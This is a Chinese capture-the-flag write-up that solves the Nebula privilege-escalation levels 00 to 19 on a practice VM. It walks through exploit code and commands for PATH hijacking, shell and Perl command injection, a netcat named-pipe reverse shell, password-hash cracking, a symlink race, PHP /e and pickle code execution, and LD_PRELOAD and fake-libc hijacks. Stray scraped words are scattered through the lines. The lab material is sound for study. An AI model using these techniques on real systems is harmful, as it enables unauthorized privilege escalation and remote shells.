这个一题的目的是找到一个suid
的文件,已经提示了是看find
的文档,很简单。用find
的-perm
选项便可。php
level00@nebula$ find / -perm -4000 > res.txt
查找完成后会看到一个/bin/.../flag00
,运行后便可。html
level00@nebula$ /bin/.../flag00 flag00@nebula$ getflag
给了一个程序的源码,让咱们继续利用的suid去执行某些东西。python
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo and now what?"); }
分析源码,能够看到最后调用了system("/usr/bin/env echo and now what?");
,env
这个东西是从环境变量的PATH
里去寻找echo
的路径并执行的。可是环境变量有个特色,就是按照顺序从左向右寻找,例如:PATH=/path1:/path2
,那么查找echo
的时候,会先从path1
开始寻找。linux
因此咱们只要在全部的PATH
以前加上一个能够控制的目录,并在里面放个echo
,运行这个程序的时候就会执行咱们的程序了。shell
level01@nebula$ PATH=/tmp:$PATH level01@nebula$ export PATH level01@nebula$ echo $PATH
这样就把/tmp
加入了PATH
了最左边的位置。而后就能够在/tmp
下面新建一个echo
文件,作猥琐的事情了。安全
level01@nebula$ ln -s /bin/bash /tmp/echo level01@nebula$ ./flag01
可是这样是不行的,由于bash
把后面的内容看成了命令,天然是提示找不到命令。我经过了一个技巧绕过了这个限制,在/tmp
下面新建一个文件echo
,写入以下内容便可:bash
#!/bin/bash /bin/bash
运行试试cookie
level01@nebula$ ./flag01 flag01@nebula$ getflag
依然是给了一段代码:less
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { char *buffer; gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); buffer = NULL; asprintf(&buffer, "/bin/echo %s is cool", getenv("USER")); printf("about to call system(\"%s\")\n", buffer); system(buffer); }
通读代码,发现仍是这个环境变量的问题,比较简单,只要设置USER
变量为'a;bash;'
便可。dom
level02@nebula$ USER='a;bash;' level02@nebula$ ./flag02 flag02@nebula$ getflag
这个没有给源码,只是告诉咱们有个crontab
文件,进去看一下,发现writable.d
目录是可写的,旁边还有个sh
文件,大意是运行writable.d
文件夹下全部的文件。这样一来就简单了,新建一个getflag.sh
,写入以下内容:
#!/bin/bash /bin/getflag > /tmp/xxx.out
等一会就运行了,而后去cat /tmp/xxx.out,发现已经成功了。
PS:这些题目的flag判断是以目标帐户执行程序为标准,只要使用目标帐户执行了getflag,就算成功。
这个题给了咱们一个程序的源码,让咱们去绕过限制,读取token
文件的内容。
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> int main(int argc, char **argv, char **envp) { char buf[1024]; int fd, rc; if(argc == 1) { printf("%s [file to read]\n", argv[0]); exit(EXIT_FAILURE); } if(strstr(argv[1], "token") != NULL) { printf("You may not access '%s'\n", argv[1]); exit(EXIT_FAILURE); } fd = open(argv[1], O_RDONLY); if(fd == -1) { err(EXIT_FAILURE, "Unable to open %s", argv[1]); } rc = read(fd, buf, sizeof(buf)); if(rc == -1) { err(EXIT_FAILURE, "Unable to read fd %d", fd); } write(1, buf, rc); }
通读代码,发现作了两个检测,一个是参数的数量,另外一个就是文件名中是否包含token
字符串,很明显能够发现这个题的point
在如何绕过这个文件名的问题,使用软连接就能够啦!
level04@nebula$ ln -s /home/flag04/token /tmp/abc level04@nebula$ ./flag04 /tmp/abc
看题意应该是权限的问题,咱们到系统里看一下。
发现/home/flag05
下面有两个隐藏的目录,分别是.ssh
和.backup
,可是.ssh是由于权限问题进不去的。但是.backup
目录却能够进入,把里面的tgz
文件复制到本身的home
目录下,解压发现了公钥之类的一些东西,ssh
登录127.0.0.1
就能够了。
level05@nebula$ ls -al /home/flag05 level05@nebula$ cp .backup/backup<tab> ~/ level05@nebula$ tar xf backup<tab> level05@nebula$ ssh flag05@127.0.0.1 flag05@nebula$ getflag
只有一句我也看不太懂的话:The flag06 account credentials came from a legacy unix system.
先登录进去看看。找了一圈啥也没有,无心间翻到了/etc/passwd中,发现了flag06这个用户的密码存储方式比较奇葩
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
直接丢给john the ripper
去破解,秒破。
# root at lightless-kali in ~ [22:09:08] $ john password Loaded 1 password hash (Traditional DES [128/128 BS SSE2-16]) hello (flag06) guesses: 1 time: 0:00:00:00 DONE (Mon Aug 3 22:09:14 2015) c/s: 48972 trying: 123456 - nutmegs Use the "--show" option to display all of the cracked passwords reliably # root at lightless-kali in ~ [22:09:14] $ cat password flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
剩下的事情就不用多说了。
Ps:作完以后,想明白了题目的含义了,旧版本的unix
系统密码不都是这么存的嘛,因此说came from a legacy unix system
呀。
一个perl
程序,用于ping
检测的,第一想到的就是命令注入,先看看源码吧。
#!/usr/bin/perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub ping { $host = $_[0]; print("<html><head><title>Ping results</title></head><body><pre>"); @output = `ping -c 3 $host 2>&1`; foreach $line (@output) { print "$line"; } print("</pre></body></html>"); } # check if Host set. if not, display normal page, etc ping(param("Host"));
能够看到,程序接收一个Host
参数。
wget -O- "http://127.0.0.1:7007/index.cgi?Host=localhost"
这样会返回正常的结果,想办法弹个shell
回来,或者开个端口本身连上去,应该就是flag07
用户了。
wget -O- "http://127.0.0.1:7007/index.cgi?Host=127.0.0 || nc -vv -l 8888;"
这样确实能够,可是并无编译-e
参数,意料之中,不少linux
的发行版考虑到安全问题都去掉了-e
参数,即没有指定GAPING_SECURITY_HOLE
常量。可是能够绕过的,须要一点技巧。
首先如今本地进行监听(切换到其余的tty去),依然选择回弹shell
的方式进行攻击。
nc -lnvp 8888
攻击思路是这样的:先建立一个管道,而后将shell
的环境的输入重定向给管道,而后把输出经过nc重定向到攻击者的一端,而后将shell的执行结果再重定向到管道中,这么说可能有些混乱,咱们看一下代码。
mknod /tmp/backpipe p /bin/bash 0</tmp/backpipe | nc 127.0.0.1 8888 1>/tmp/backpipe
而后咱们把这里两条合起来加到咱们的payload
中。
wget -O- "http://127.0.0.1:7007/index.cgi?Host=127.0.0 || mknod /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 127.0.0.1 8888 1>/tmp/backpipe"
这样一来,shell成功的弹了回来
level07@nebula$ nc -vv -l 8888 Connection from 127.0.0.1 port 8888 [tcp/*] accepted whoami flag07 getflag You have successfully executed getflag on a target account
给了个pcap文件,从流量中分析出些什么猥琐的东西。
丢到wireshark
里,发现大概共100个数据包,只有两个IP,直接跟踪TCP流,看到了些有趣的东西。
..%..%..&..... ..#..'..$..&..... ..#..'..$.. .....#.....'........... .38400,38400....#.SodaCan:0....'..DISPLAY.SodaCan:0......xterm.........."........!........"..".....b........b.....B. ..............................1.......!.."......"......!..........."........".."................ ..................... Linux 2.6.38-8-generic-pae (::ffff:10.1.1.2) (pts/10) ..wwwbugs login: l.le.ev.ve.el.l8.8 .. Password: backdoor...00Rm8.ate . .. Login incorrect wwwbugs login:
看起来好像数据包不完整,用那个密码也不能登录成功。换成十六进制看看。
000000D6 00 0d 0a 50 61 73 73 77 6f 72 64 3a 20 ...Passw ord: 000000B9 62 b 000000BA 61 a 000000BB 63 c 000000BC 6b k 000000BD 64 d 000000BE 6f o 000000BF 6f o 000000C0 72 r 000000C1 7f . 000000C2 7f . 000000C3 7f . 000000C4 30 0 000000C5 30 0 000000C6 52 R 000000C7 6d m 000000C8 38 8 000000C9 7f . 000000CA 61 a 000000CB 74 t 000000CC 65 e 000000CD 0d .
问题一会儿就出来了,0x7f
怎么会是一个点号呢,查了一下发现是backspace
,也就是退格键,试试咱们的新密码吧:backd00Rmate
,后面的事情就不用多说了。
居然给了世界上最好的语言。
<?php function spam($email) { $email = preg_replace("/\./", " dot ", $email); $email = preg_replace("/@/", " AT ", $email); return $email; } function markup($filename, $use_me) { $contents = file_get_contents($filename); $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents); $contents = preg_replace("/\[/", "<", $contents); $contents = preg_replace("/\]/", ">", $contents); return $contents; } $output = markup($argv[1], $argv[2]); print $output; ?>
还有个setuid的C程序,不过从源码中发现了在使用preg_replace
的时候用到了/e,这个参数已经在PHP5.5以上被废弃了。对于构造这样的payload,应该比较容易了。这里的代码也比较容易构造。
[email {${phpinfo()}}]
成功执行,至于你要问为啥,请移步:http://php.net/manual/en/language.types.string.php#language.types.string.parsing
继续构造执行命令的payload。
[email {${system("getflag")}}]
结果发现双引号被转义了,执行不了。可是函数还有个$use_me参数,应当算做提示吧。
[email {${system($use_me)}}]
最终结果以下:
$ cat /tmp/aa.txt [email {${system($use_me)}}] $ ./flag09 /tmp/aa.txt getflag
完成了。
题目作到这里就变得有趣起来了。
这个题给了一个C程序的源码,通读下来,是一个上传文件的程序,使用了access()
作了限制,经过限制后就会经过socket
把文件内容传输过去。
#include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> int main(int argc, char **argv) { char *file; char *host; if(argc < 3) { printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]); exit(1); } file = argv[1]; host = argv[2]; if(access(argv[1], R_OK) == 0) { int fd; int ffd; int rc; struct sockaddr_in sin; char buffer[4096]; printf("Connecting to %s:18211 .. ", host); fflush(stdout); fd = socket(AF_INET, SOCK_STREAM, 0); memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(host); sin.sin_port = htons(18211); if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) { printf("Unable to connect to host %s\n", host); exit(EXIT_FAILURE); } #define HITHERE ".oO Oo.\n" if(write(fd, HITHERE, strlen(HITHERE)) == -1) { printf("Unable to write banner to host %s\n", host); exit(EXIT_FAILURE); } #undef HITHERE printf("Connected!\nSending file .. "); fflush(stdout); ffd = open(file, O_RDONLY); if(ffd == -1) { printf("Damn. Unable to open file\n"); exit(EXIT_FAILURE); } rc = read(ffd, buffer, sizeof(buffer)); if(rc == -1) { printf("Unable to read from file: %s\n", strerror(errno)); exit(EXIT_FAILURE); } write(fd, buffer, rc); printf("wrote file!\n"); } else { printf("You don't have access to %s\n", file); } }
若是对*nix
不熟悉的同窗,可能以为这代码没啥问题。但实际上这是个TOCTTOU(Time of check to time of use)
的bug
。在分析前咱们先弄明白两个东西,分别是Effective user ID
和Real user ID
。
ruid
的做用是Identify the real user
,而euid
的做用是Decides access level
。若是还不明白的同窗请参考https://en.wikipedia.org/wiki/User_identifier#Real_user_ID
而这里的access()
检查的是ruid
,在access()
检查和使用open()
打开文件之间的这段时间里,咱们彻底能够替代掉打开的文件为token
,由于咱们已经经过了检查。也就是说,用一个有权限的文件去绕过access
的限制,以后立刻把文件替换成没有权限的token
,由于已经通过了检查,因此程序能够毫无阻碍的打开没有权限的token
文件。(在这个题中没有访问token
文件的权限,而flag
就在token
中)
如今来解这个题,首先咱们须要一个循环脚原本不停的作连接来替换文件。/tmp/aaa
咱们是有权限access
的,而token
则没有,因此要不停的替换,让access
的时候传入token
,而后就替换成token
文件。
while true; do ln -sf /home/flag10/token /tmp/ttt ln -sf /tmp/aaa /tmp/ttt done
接着把nc跑起来本地监听18211端口,接下来再写个循环不停的运行目标程序吧,剩下的事情就是看脸了。
while true; do /home/flag10/flag10 /tmp/ttt 10.211.55.2 done
而后看到了nc那边的输出,获得了token文件的内容。后面的事情就不用说了。
这题有点意思了,给了源码,题目说有两种方式完成本题。
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <sys/mman.h> /* * Return a random, non predictable file, and return the file descriptor for it. */ int getrand(char **path) { char *tmp; int pid; int fd; srandom(time(NULL)); tmp = getenv("TEMP"); pid = getpid(); asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid, 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26), 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26)); fd = open(*path, O_CREAT|O_RDWR, 0600); unlink(*path); return fd; } void process(char *buffer, int length) { unsigned int key; int i; key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i]; } system(buffer); } #define CL "Content-Length: " int main(int argc, char **argv) { char line[256]; char buf[1024]; char *mem; int length; int fd; char *path; if(fgets(line, sizeof(line), stdin) == NULL) { errx(1, "reading from stdin"); } if(strncmp(line, CL, strlen(CL)) != 0) { errx(1, "invalid header"); } length = atoi(line + strlen(CL)); if(length < sizeof(buf)) { if(fread(buf, length, 1, stdin) != length) { err(1, "fread length"); } process(buf, length); } else { int blue = length; int pink; fd = getrand(&path); while(blue > 0) { printf("blue = %d, length = %d, ", blue, length); pink = fread(buf, 1, sizeof(buf), stdin); printf("pink = %d\n", pink); if(pink <= 0) { err(1, "fread fail(blue = %d, length = %d)", blue, length); } write(fd, buf, pink); blue -= pink; } mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); if(mem == MAP_FAILED) { err(1, "mmap"); } process(mem, length); } }
一样的也是先通读源码,一开始须要输入Content-Length:
加一个整数,若是小于1024
的话,会继续调用fread()
,若是大于或等于1024
的话,就会随机打开一个随机的文件描述符,而后把content
的内容复制到这个文件中,而后把这个文件中的内容读入内存中紧接着执行process()
函数,能够看到无论如何最终都会调用process()
函数,这个函数是一个十分简单的解密函数。
void process(char *buffer, int length) { unsigned int key; int i; key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i]; } system(buffer); }
不是很难,很容易写出反解的脚本。
#!/usr/bin/env python2 cmd = 'getflag\x00' length = 1024 key = length & 0xff res = "" for i in range(len(cmd)): enc = (ord(cmd[i]) ^ key) & 0xff res += chr(enc) key = (key - ord(cmd[i])) & 0xff print "Content-Length: " + str(length) + "\n" + res + "A"*(length - len(res))
须要注意的就是在命令的最后须要本身手动加个null
字节进行截断。源程序中还须要一个TEMP
的环境变量,设置一下。
$ export TEMP=/tmp
这样就完成了,可是题目说有两种解法,再回过头来仔细看看,发现了一个bug
,不知道是手抖仍是故意的。
if(fread(buf, length, 1, stdin) != length) {
这一行代码,看起来没啥问题,咱们看一下fread
的函数原型。
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream); The function fread() reads nmemb elements of data, each size bytes long, from the stream pointed to by stream, storing them at the loca‐ tion given by ptr. fread() and fwrite() return the number of items successfully read or written (i.e., not the number of characters).
看完就明白了,这个fread
总会返回1,因此咱们必须输入Content-Length: 1
,才能知足这个条件。
咱们试一下:
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11 sh: $'y@z': command not found level11@nebula:/tmp$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11 sh: $'yp5': command not found
发现每次都是随机的,可是有时候会出现这样的状况:
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11 sh: $ y: command not found
恰好出现了一个y,那咱们新建一个脚本,名字为y,仍是用PATH
顺序的方法让他优先执行咱们的脚本。
level11@nebula:/tmp$ cat /tmp/y #!/bin/bash /bin/bash level11@nebula:/tmp$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11 getflag is executing on a non-flag account, this doesn't count
为啥不算数,我以为算数了啊,这明显是setuid
的程序经过system
调用的呀,迷。
一段lua
脚本,题目描述是一个backdoor
,监听在50001
端口。
local socket = require("socket") local server = assert(socket.bind("127.0.0.1", 50001)) function hash(password) prog = io.popen("echo "..password.." | sha1sum", "r") data = prog:read("*all") prog:close() data = string.sub(data, 1, 40) return data end while 1 do local client = server:accept() client:send("Password: ") client:settimeout(60) local line, err = client:receive() if not err then print("trying " .. line) -- log from where ;\ local h = hash(line) if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then client:send("Better luck next time\n"); else client:send("Congrats, your token is 413**CARRIER LOST**\n") end end client:close() end
先把那串hash
丢到CMD5
里去解一下,发现解不开,看了这个题的point
不在这里。
仔细读源码的话就会发现命令注入,在prog = io.popen("echo "..password.." | sha1sum", "r")
,没有过滤就代入了,直接构造payload就行了,比较简单。
Password: 123;getflag;#
然而没输出成功的消息,试试重定向:
Password: 123;getflag > /tmp/123;# $ cat /tmp/123
成功了。
这个题一样给了一个源码,是经过getuid()
进行检查的,若是不等于1000
就退出。固然计算token的过程被略去了。
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <string.h> #define FAKEUID 1000 int main(int argc, char **argv, char **envp) { int c; char token[256]; if(getuid() != FAKEUID) { printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID); printf("The system administrators will be notified of this violation\n"); exit(EXIT_FAILURE); } // snip, sorry :) printf("your token is %s\n", token); }
通读代码,这时候有几个思路但是尝试下:
IDA
里找到计算token
的过程,可是这么玩就没意思了。getuid
的判断结果改成当前用户的uid
。hook getuid
这个函数,让其返回1000
,从而绕过判断。咱们一个一个来分析,先说第一个,纵然是最简单的,不费吹灰之力就获得了token
,只是把一串密文与0x5a
进行了异或操做。
第二个方法也比较简单,没啥好说的。
咱们来看看第三个方法,劫持掉getuid()
函数。可能实现起来比较麻烦,可是能够经过环境变量LD_PRELOAD
来使事情变得简单。LD_PRELOAD
能够影响程序运行时的连接,这个变量容许你定义在程序运行时优先加载的动态连接库。
因而咱们写一个程序mygetuid.c,内容以下:
#include <sys/types.h> uid_t getuid(void) {return 1000;}
而后把它编译成so库文件: gcc -shared -fPIC mygetuid.c -o mygetuid.so
,接下来设置LD_PRELOAD
变量。
$ LD_PRELOAD="/home/level13/mygetuid.so" $ export LD_PRELOAD $ ./flag13
成功。这里须要注意一点,须要将/home/flag13/flag13
复制到/home/level13/
下面运行才能够,由于须要flag13
和这个so
文件的ruid
是同样的才能够。
这题目看着有点像密码学系列,这个程序会把输入加密,而且将密文输出,咱们要作的是把加密过的token解开。
这题要么拿去逆一下,要么试试有没有规律输出。
输入aaaaaaa
输出abcdefg
,看起来好像只是简单的递增关系,第0个位置加0,第1个位置加1,以此类推,这样很快就能写出解密脚本。
#!/usr/bin/env python2 token = "857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW." cnt = 0 res = "" for i in token: res += chr(ord(i) - cnt) cnt += 1 print res
这个题,直接让我用strace
了,那就照作吧。结果发现这货在/var/tmp/flag15
这个位置寻找libc.so.6
,结果确定找不到的。应该是在编译的时候指定了选项,由于正常状况下是会搜索/lib
和/usr/lib
两个路径,若是都未找到,按照/etc/ld.so.conf
里面的配置进行绝对路径的查找。固然能够经过环境变量LD_LIBRARY_PATH
进行指定,可是这个变量是全局影响,显然这题应该不是这么作的。
ld
关于这部分的选项主要有三个,分别是-L
、-rpath-link
和-rpath
,其中前两个都是在连接的时候用到的,而-rpath
则是运行的时候去寻找的,对于这部分不熟悉的同窗,请参考题目给出的参考连接。
经过objdump -p flag15
命令,确实看到了指定了rpath
,是/var/tmp/flag15
,同时发现须要GLIBC_2.0
版本,因而在这里弄一个libc
试试。(RPATH
和LD_PRELOAD
的区别请自行百度,与setuid
有关。)
既然能够丢入本身的libc
库,直接劫持掉__libc_start_main()
吧,可是首先咱们要解决掉版本问题。新建一个shell.c
,就写入下面这一行代码。
#include <stdlib.h>
进行编译:
$ gcc -fPIC -shared shell.c -o libc.so.6
运行flag15
后提示no version information
。那么写个version
信息试试。
新建一个文件version
,写入如下内容:
GLIBC_2.0{};
而后进行编译:
$ gcc -fPIC -shared -Wl,--version-script=version shell.c -o libc.so.6
继续运行flag15
,结果提示No version GLIBC_2.1.3 not found
,多是指向了其余的GLIBC
,静态编译吧。
$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic shell.c -o libc.so.6
OK,版本问题解决了,如今是提示找不到__libc_start_main
了,这个好办,咱们本身写一个。继续修改shell.c
,代码以下:
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { char *file = SHELL; char *argv[] = {SHELL,0}; setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); }
同时version
文件也要改一下:
GLIBC_2.0{ global:__libc_start_main; local: *; };
编译:
$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic libc.c -o libc.so.6
运行,得到了flag15
的shell
,搞定。
又给了一个perl
脚本,代码:
#!/usr/bin/env perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub login { $username = $_[0]; $password = $_[1]; $username =~ tr/a-z/A-Z/; # conver to uppercase $username =~ s/\s.*//; # strip everything after a space @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`; foreach $line (@output) { ($usr, $pw) = split(/:/, $line); if($pw =~ $password) { return 1; } } return 0; } sub htmlz { print("<html><head><title>Login resuls</title></head><body>"); if($_[0] == 1) { print("Your login was accepted<br/>"); } else { print("Your login failed<br/>"); } print("Would you like a cookie?<br/><br/></body></html>\n"); } htmlz(login(param("username"), param("password")));
据说又有命令注入:
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
很明显,username
处存在命令注入,要么弹个shell
回来,要么直接执行命令。这里对用户名进行了限制,会将其转换成大写,而且去掉第一个空格以后的任何内容。
对于第一个限制,可使用Case modification
进行绕过。http://wiki.bash-hackers.org/syntax/pe#case_modification
对于第二个限制,能够采起以下方式
"</dev/null;pwnvar=/tmp/ttt;${pwnvar,,};#
在/tmp/ttt
中写入:
#!/bin/sh /bin/getflag > /tmp/aaa
把payload
代入username
便可。后来发现,这样的payload
也是能够的:
`/*/MYSHELL`
其中MYSHELL
是一个shell
脚本。
此次给了个python
脚本。
#!/usr/bin/python import os import pickle import time import socket import signal signal.signal(signal.SIGCHLD, signal.SIG_IGN) def server(skt): line = skt.recv(1024) obj = pickle.loads(line) for i in obj: clnt.send("why did you send me " + i + "?\n") skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) skt.bind(('0.0.0.0', 10007)) skt.listen(10) while True: clnt, addr = skt.accept() if(os.fork() == 0): clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1])) server(clnt) exit(1)
一眼就发现了关键点,pickle.loads(line)
。应该是在反序列化的时候出现了问题,致使能够执行任意代码。以前个人博客也提到过:http://lightless.me/archives/Python-Pickle-Code-Execute.html
可是在这里彷佛比较麻烦,须要本身构造序列化之后的东西,固然利用类的__reduce__
方法也能够。
cos system (S'getflag > /tmp/res' tR.
把这些内容保存到a.txt
,而后经过nc
发送过去,具体怎么发送都无所谓了。
给了C源码,有三种方式过关,难度递增。代码太长就不贴出来了。
不过这个题有点难度,栈溢出的话须要绕过栈stack canaries
,格式化字符串漏洞须要绕过FORTIFY_SOURCE
,能够看一下这篇文章:http://phrack.org/issues/67/9.html
感受最简单的方法就是耗尽系统资源,关于这个题的解答能够看这里:http://v0ids3curity.blogspot.com/2012/09/exploit-exercise-improper-file-handling.html
看完18再来看这个简直是酸爽啊,忽然以为好幸福。
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <sys/stat.h> int main(int argc, char **argv, char **envp) { pid_t pid; char buf[256]; struct stat statbuf; /* Get the parent's /proc entry, so we can verify its user id */ snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid()); /* stat() it */ if(stat(buf, &statbuf) == -1) { printf("Unable to check parent process\n"); exit(EXIT_FAILURE); } /* check the owner id */ if(statbuf.st_uid == 0) { /* If root started us, it is ok to start the shell */ execve("/bin/sh", argv, envp); err(1, "Unable to execve"); } printf("You are unauthorized to run this program\n"); }
这个题也是要突破这个程序,通读下来,发现这个程序的流程是首先获取父进程的PID
,而后再根据这个PID
到/proc
下面找对应的文件夹,若是这个文件夹是属于root
的,就能够执行shell
了。
可是在*nix
中涉及到一个父子进程的问题,就是若是父进程死了,那么子进程就变成了孤儿进程,而后init
会把这个孤儿进程做为本身的子进程,而init
则是由root
启动的,这样就能够突破限制了。这代码是从网上找了一份,拿来改了改。
#include <unistd.h> int main(int argc, char **argv, char **envp) { int childPID = fork(); if(childPID >= 0) { // forked if(childPID == 0) { // child sleep(1); setresuid(geteuid(),geteuid(),geteuid()); char *args[] = {"/bin/sh", "-c", "/bin/getflag", NULL}; execve("/home/flag19/flag19", args, envp); } } return 0; }
终于通关了,脑洞大开,各类黑魔法。